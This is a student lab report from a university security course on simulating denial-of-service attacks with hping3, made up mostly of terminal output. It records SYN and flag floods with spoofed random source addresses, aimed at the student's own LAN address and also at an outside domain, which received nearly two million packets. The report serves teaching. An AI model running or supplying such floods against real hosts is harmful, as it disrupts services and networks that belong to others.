



Academic Year: 2025-26

Semester: V

Class / Branch: TE IT-C

Subject: Security Lab

Name of Instructor: Prof. Vishal Badgujar

Name of Student: Suyash Y Mane

Student ID: 24204008

Date of Performance: 03/09/2025

Date of Submission: 03/09/2025

Experiment No. 6

Aim: To simulate DOS attack by using HPING and other tools.

Screenshots:

```
File Edit View Search Terminal Help
apsit@apsit-HP-280-Pro-G6-Microtower-PC:~$ sudo apt-get install hping3 -y
[sudo] password for apsit:
Reading package lists... Done
Building dependency tree
Reading state information... Done
hping3 is already the newest version (3.a2.ds2-7).
0 upgraded, 0 newly installed, 0 to remove and 8 not upgraded.
apsit@apsit-HP-280-Pro-G6-Microtower-PC:~$
```

```
Activities Terminal
File Edit View Search Terminal Help
HPING3(8) System Manager's Manual HPING3(8)
NAME
hping3 - send (almost) arbitrary TCP/IP packets to network hosts
SYNOPSIS
hping3 [ -hvqVdzZ012WrfxykqbFSRPAUXYjJBuTG ] [ -c count ] [ -t wait ]
[ --fast ] [ -i interface ] [ -9 signature ] [ -a host ] [ -t ttl ] [
-M id id ] [ -M ip protocol ] [ -g fragoff ] [ -m mtu ] [ -o tos ] [ -C
icmp type ] [ -K icmp code ] [ -s source port ] [ -p[+][+] dest port ]
[ -w tcp window ] [ -O tcp offset ] [ -M tcp sequence number ] [ -L tcp
ack ] [ -d data size ] [ -f filename ] [ -e signature ] [ --icmp-lpver
version ] [ --icmp-lphten length ] [ --icmp-lplen length ] [
--icmp-lptid id ] [ --icmp-lpproto protocol ] [ --icmp-cksum checksum ]
[ --icmp-ts ] [ --icmp-addr ] [ --tcpextcode ] [ --tcp-mss ] [ --tcp-
timestamp ] [ --tr-stop ] [ --tr-keep-ttl ] [ --tr-no-rtt ] [ --rand-
dest ] [ --rand-source ] [ --beep ] hostname
DESCRIPTION
hping3 is a network tool able to send custom TCP/IP packets and to display target replies like ping program does with ICMP replies. hping3 handle fragmentation, arbitrary packets body and size and can be used in order to transfer files encapsulated under supported protocols. Using hping3 you are able to perform at least the following stuff:
- Test firewall rules
- Advanced port scanning
- Test net performance using different protocols, packet size, TOS (type of service) and fragmentation.
- Path MTU discovery
- Transferring files between even really fascist firewall rules.
- Traceroute-like under different protocols.
- Firewall-like usage.
- Remote OS fingerprinting.
- TCP/IP stack auditing.
- A lot of others.
It's also a good didactic tool to learn TCP/IP. hping3 is developed and maintained by antirez@invece.org and is licensed under GPL version 2. Development is open so you can send me patches, suggestion and affronts without inhibitions.
HPING SITE
Manual page hping3(8) line 1 (press h for help or q to quit)
```



PARSHVANATH CHARITABLE TRUST'S

A. P. SHAH INSTITUTE OF TECHNOLOGY

Department of Information Technology

(NBA Accredited)



```
apsit@apsit-HP-280-Pro-G6-Microtower-PC:~$ ifconfig
docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
    inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
    ether 02:42:8e:42:1c:88 txqueuelen 0 (Ethernet)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

enp1s0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.86.29 netmask 255.255.0.0 broadcast 192.168.255.255
    inet6 fe80::4072:4945:c9c5:518e prefixlen 64 scopeid 0x20<link>
    ether 48:9e:bd:a1:19:62 txqueuelen 1000 (Ethernet)
    RX packets 916427 bytes 757527824 (757.5 MB)
    RX errors 0 dropped 2308 overruns 0 frame 0
    TX packets 137140 bytes 12530788 (12.5 MB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 858 bytes 86690 (86.6 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
```

```
apsit@apsit-HP-280-Pro-G6-Microtower-PC:~$ ping 192.168.86.29
PING 192.168.86.29 (192.168.86.29) 56(84) bytes of data.
64 bytes from 192.168.86.29: icmp_seq=1 ttl=64 time=0.061 ms
64 bytes from 192.168.86.29: icmp_seq=2 ttl=64 time=0.026 ms
64 bytes from 192.168.86.29: icmp_seq=3 ttl=64 time=0.067 ms
64 bytes from 192.168.86.29: icmp_seq=4 ttl=64 time=0.067 ms
64 bytes from 192.168.86.29: icmp_seq=5 ttl=64 time=0.034 ms
64 bytes from 192.168.86.29: icmp_seq=6 ttl=64 time=0.050 ms
64 bytes from 192.168.86.29: icmp_seq=7 ttl=64 time=0.065 ms
^C
--- 192.168.86.29 ping statistics ---
7 packets transmitted, 7 received, 0% packet loss, time 6136ms
rtt min/avg/max/mdev = 0.026/0.052/0.067/0.018 ms
apsit@apsit-HP-280-Pro-G6-Microtower-PC:~$
```



PARSHVANATH CHARITABLE TRUST'S

A. P. SHAH INSTITUTE OF TECHNOLOGY

Department of Information Technology

(NBA Accredited)



```
apsit@apsit-HP-280-Pro-G6-Microtower-PC:~$ sudo hping3 -c 10000 -d 120 -S -w 64
-p 21 --flood --rand-source 192.168.86.29
HPING 192.168.86.29 (enp1s0 192.168.86.29): S set, 40 headers + 120 data bytes
hping in flood mode, no replies will be shown
^C
--- 192.168.86.29 hping statistic ---
4943467 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
apsit@apsit-HP-280-Pro-G6-Microtower-PC:~$
```

```
File Edit View Search Terminal Tabs Help
apsit@apsit-HP-280-Pro-G6-Microtower-P... x apsit@apsit-HP-280-Pro-G6-Microtower-P... x
apsit@apsit-HP-280-Pro-G6-Microtower-PC:~$ sudo hping3 -S --flood -V www.hping3t
estsite.com
using enp1s0, addr: 192.168.86.29, MTU: 1500
HPING www.hping3testsite.com (enp1s0 103.224.182.253): S set, 40 headers + 0 dat
a bytes
hping in flood mode, no replies will be shown
^C
--- www.hping3testsite.com hping statistic ---
1935609 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
apsit@apsit-HP-280-Pro-G6-Microtower-PC:~$ sudo hping3 -S --flood -V 192.168.86.
29
using enp1s0, addr: 192.168.86.29, MTU: 1500
HPING 192.168.86.29 (enp1s0 192.168.86.29): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- 192.168.86.29 hping statistic ---
5736522 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
```

```
apsit@apsit-HP-280-Pro-G6-Microtower-PC:~$ sudo hping3 -S -P -U --flood -V --ran
d-source www.hping3testsite.com
using enp1s0, addr: 192.168.86.29, MTU: 1500
HPING www.hping3testsite.com (enp1s0 103.224.182.253): SPU set, 40 headers + 0 d
ata bytes
hping in flood mode, no replies will be shown
^C
--- www.hping3testsite.com hping statistic ---
553991 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
```



PARSHVANATH CHARITABLE TRUST'S

A. P. SHAH INSTITUTE OF TECHNOLOGY

Department of Information Technology

(NBA Accredited)



```
apsit@apsit-HP-280-Pro-G6-Microtower-PC:~$ sudo hping3 192.168.86.29
HPING 192.168.86.29 (enp1s0 192.168.86.29): NO FLAGS are set, 40 headers + 0 data bytes
^C
--- 192.168.86.29 hping statistic ---
54 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
apsit@apsit-HP-280-Pro-G6-Microtower-PC:~$ ping 192.168.86.29
PING 192.168.86.29 (192.168.86.29) 56(84) bytes of data:
64 bytes from 192.168.86.29: icmp_seq=1 ttl=64 time=0.073 ms
64 bytes from 192.168.86.29: icmp_seq=2 ttl=64 time=0.060 ms
64 bytes from 192.168.86.29: icmp_seq=3 ttl=64 time=0.090 ms
64 bytes from 192.168.86.29: icmp_seq=4 ttl=64 time=0.067 ms
64 bytes from 192.168.86.29: icmp_seq=5 ttl=64 time=0.067 ms
64 bytes from 192.168.86.29: icmp_seq=6 ttl=64 time=0.067 ms
64 bytes from 192.168.86.29: icmp_seq=7 ttl=64 time=0.066 ms
^C
--- 192.168.86.29 ping statistics ---
7 packets transmitted, 7 received, 0% packet loss, time 6122ms
rtt min/avg/max/mdev = 0.060/0.070/0.090/0.008 ms
```

```
apsit@apsit-HP-280-Pro-G6-Microtower-PC:~$ sudo hping3 192.168.86.29 --flood -p 80
HPING 192.168.86.29 (enp1s0 192.168.86.29): NO FLAGS are set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- 192.168.86.29 hping statistic ---
1920702 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
apsit@apsit-HP-280-Pro-G6-Microtower-PC:~$ sudo hping3 hping3testsite.com --flood -p 80
HPING hping3testsite.com (enp1s0 103.224.182.253): NO FLAGS are set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
--- hping3testsite.com hping statistic ---
797467 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
```

Conclusion:

In this experiment, we learnt and understood to simulate DOS attack by using HPING and other tools.